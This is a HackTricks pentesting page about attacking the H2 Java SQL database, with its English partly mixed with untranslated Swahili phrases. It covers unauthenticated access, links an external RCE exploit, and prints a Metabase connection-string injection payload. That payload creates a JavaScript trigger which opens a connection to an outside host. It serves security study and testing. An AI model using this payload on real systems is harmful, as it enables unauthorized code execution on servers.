hacktricks/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md

H2 - Java SQL database

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Official page: https://www.h2database.com/html/main.html

Access

You can indicate a jina la database lisilopo in order to kuunda database mpya bila credentials halali (bila uthibitisho):

Or if you know that for example a mysql inafanya kazi and you know the jina la database and the credentials for that database, you can just access it:

Trick from box Hawk of HTB.

RCE

Having access to communicate with the H2 database check this exploit to get RCE on it: https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed

H2 SQL Injection to RCE

In this post a payload is explained to get RCE kupitia database ya H2 abusing a SQL Injection.

[...]
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
"advanced-options": false,
"ssl": true
},
[...]

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